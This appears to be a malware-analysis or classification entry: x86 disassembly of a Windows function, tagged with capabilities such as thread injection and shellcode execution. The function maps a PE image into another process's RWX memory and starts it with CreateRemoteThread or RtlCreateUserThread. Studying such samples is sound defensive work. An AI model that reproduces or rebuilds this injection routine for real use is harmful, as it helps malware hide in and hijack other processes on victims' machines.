Function at 0x401780
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, eax
xor eax, eax
mov dword [ebp - 4], eax
test esi, esi
je 0x4019fe
cmp dword [ebp + 8], eax
je 0x4019fe
cmp dword [ebp + 0xc], eax
je 0x4019fe
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
mov eax, esi
call fcn.00401ea0
test eax, eax
jne 0x4017c7
push 0x64
call ebx
inc edi
cmp edi, 0x1e
jl 0x4017b2
mov eax, esi
call fcn.00401ea0
test eax, eax
je 0x4019f9
push esi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x4019f9
push 0x4094b8
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401828
push 0x40c350
push eax
call ebx
mov esi, eax
test esi, esi
je 0x401828
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x401861
push 0x4094b8
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401857
push 0x40c350
push eax
call ebx
test eax, eax
je 0x401857
lea ecx, [ebp - 8]
push ecx
push edi
call eax
cmp dword [ebp - 8], 0
je 0x4019d6
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov ebx, dword [ecx + 0x3c]
mov edx, dword [ebp + 0xc]
add ebx, ecx
mov esi, eax
neg esi
sbb esi, esi
and esi, edx
mov dword [ebx + 0x58], esi
xor esi, esi
mov word [ecx], si
test eax, eax
mov eax, dword [ebx + 0x50]
mov dword [ebx], esi
je 0x40188a
add eax, edx
push 0x40
push 0x3000
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x4019d6
mov eax, dword [ebx + 0x54]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx edx, word [ebx + 0x14]
xor ecx, ecx
lea eax, [edx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp cx, word [ebx + 6]
jae 0x401941
lea edi, [eax + 8]
mov edx, dword [edi]
push 4
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x401929
mov ecx, dword [edi + 0xc]
mov eax, dword [edi + 8]
add ecx, dword [ebp + 8]
push eax
push ecx
push esi
call sub.MSVCRT.dll_memcpy
mov eax, dword [edi]
mov ecx, dword [edi + 4]
add ecx, dword [ebp - 0xc]
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebp - 0x10]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add edi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x4018d6
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
cmp dword [ebp + 0x10], 0
je 0x401960
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebx + 0x50]
push eax
push ecx
add edx, esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebx + 0x28]
push 0
push 0
push edi
add ebx, esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x4019b4
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4019ab
test byte [ebp + 8], 2
jne 0x4019ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 1
jmp 0x4019d6
push 0
push 0
push 0
push ebx
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 4], ecx
lea edx, [ebp + 8]
push edx
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4019f9
test byte [ebp + 8], 2
jne 0x4019f9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0xc